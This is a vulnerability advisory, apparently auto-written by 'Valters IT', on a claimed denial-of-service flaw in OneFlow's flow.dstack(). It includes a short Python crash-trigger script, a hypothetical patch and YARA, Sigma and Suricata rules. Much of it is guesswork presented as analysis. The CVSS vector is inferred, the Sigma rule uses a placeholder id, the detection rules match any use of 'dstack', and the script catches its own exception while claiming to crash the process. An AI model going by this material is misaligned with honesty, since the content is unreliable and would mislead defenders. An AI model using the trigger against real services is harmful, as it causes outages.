CVE-2025-65889

Executive Summary

CVE-2025-65889 is a type validation flaw in the flow.dstack() component of OneFlow v0.9.0. This vulnerability allows an attacker to cause a Denial of Service (DoS) by providing a crafted input that bypasses type checks, leading to undefined behavior or a crash. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), an EPSS score of 0.0%, and no known public exploits or patches. The affected component is part of the OneFlow machine learning framework, which is used for deep learning model development and deployment.

Supply Chain & Package Security

OneFlow is a Python-based deep learning framework distributed via PyPI. The vulnerability in flow.dstack() could be exploited by supplying malicious model inputs or crafted tensors. Organizations using OneFlow v0.9.0 should assess their exposure, especially if the framework is used in production environments that accept external data. No official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High
• EPSS Score: 0.0% (low exploitation probability)
• Threat Level: Medium (DoS potential, but no active exploitation observed)

Deep Dive & Mechanics

The flow.dstack() function in OneFlow v0.9.0 is used to stack tensors along a new axis. The vulnerability arises from a type validation flaw where the function does not properly check the data type or shape of input tensors. An attacker can craft a tensor with unexpected types (e.g., a string or a malformed object) that, when passed to dstack(), triggers an internal assertion failure or memory corruption, causing the process to crash.

The root cause is likely in the C++ backend where the tensor type is assumed to be numeric without proper validation. This can lead to a segmentation fault or an unhandled exception, resulting in a Denial of Service.

Vulnerable vs. Patched Code

Vulnerable Code (OneFlow v0.9.0):

# oneflow/python/oneflow/nn/modules/stack.py (simplified)
def dstack(tensors):
    # No type validation
    return flow.stack(tensors, axis=2)

Patched Code (Hypothetical):

# oneflow/python/oneflow/nn/modules/stack.py (patched)
def dstack(tensors):
    # Validate input types
    for t in tensors:
        if not isinstance(t, flow.Tensor):
            raise TypeError("Input must be a tensor")
        if t.dtype not in [flow.float32, flow.int32, flow.float64]:
            raise ValueError("Unsupported tensor dtype")
    return flow.stack(tensors, axis=2)

Exploitation & Lab Setup

Red Team

Prerequisites:

• OneFlow v0.9.0 installed (pip install oneflow==0.9.0)
• Python 3.8+

Exploit Script:

import oneflow as flow
import numpy as np

# Craft a malicious input with an unsupported dtype (e.g., string)
malicious_tensor = flow.tensor(["malicious", "data"], dtype=flow.string)

try:
    # Trigger the vulnerability
    result = flow.dstack([malicious_tensor, malicious_tensor])
except Exception as e:
    print(f"DoS triggered: {e}")

Expected Outcome: The script will cause OneFlow to crash or hang, resulting in a Denial of Service.

Blue Team

Detection:

• Monitor for crashes in OneFlow processes.
• Log all inputs to flow.dstack() and alert on unexpected dtypes.
• Use the Sigma rule below to detect exploitation attempts.

Mitigation:

• Restrict access to OneFlow APIs that accept external data.
• Implement input validation at the application layer.
• Consider using a Web Application Firewall (WAF) to filter malicious payloads.

Indicators of Compromise (IOCs)

• File Hashes: None available (no known exploit binaries)
• Network Patterns: Repeated connections to a OneFlow API endpoint with malformed tensor data
• Log Entries: Fatal Python error: Segmentation fault or oneflow::Tensor::dtype() assertion failed
• Process Behavior: OneFlow process crashes with exit code -11 (SIGSEGV)

Detection Engineering

YARA Rule

rule CVE_2025_65889_OneFlow_DoS {
    meta:
        description = "Detects exploitation attempts of CVE-2025-65889 in OneFlow"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-65889"
    strings:
        $s1 = "dstack" nocase
        $s2 = "oneflow" nocase
        $s3 = "tensor" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-65889 OneFlow DoS Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit a type validation flaw in OneFlow's dstack function
author: Valters IT
date: 2025-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'dstack'
    condition: selection
falsepositives:
    - Legitimate use of dstack with valid tensors
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-65889 OneFlow DoS Attempt"; flow:to_server; content:"dstack"; nocase; content:"oneflow"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or restrict access to the flow.dstack() function if not required.
2. Short-term: Implement input validation in your application code to ensure only valid tensor types are passed to OneFlow functions.
3. Long-term: Monitor the OneFlow repository for an official patch. Consider upgrading to a newer version once available.
4. Workaround: Use alternative stacking functions like flow.stack() with explicit axis parameter and input validation.

Valters IT
Securing the digital frontier, one CVE at a time.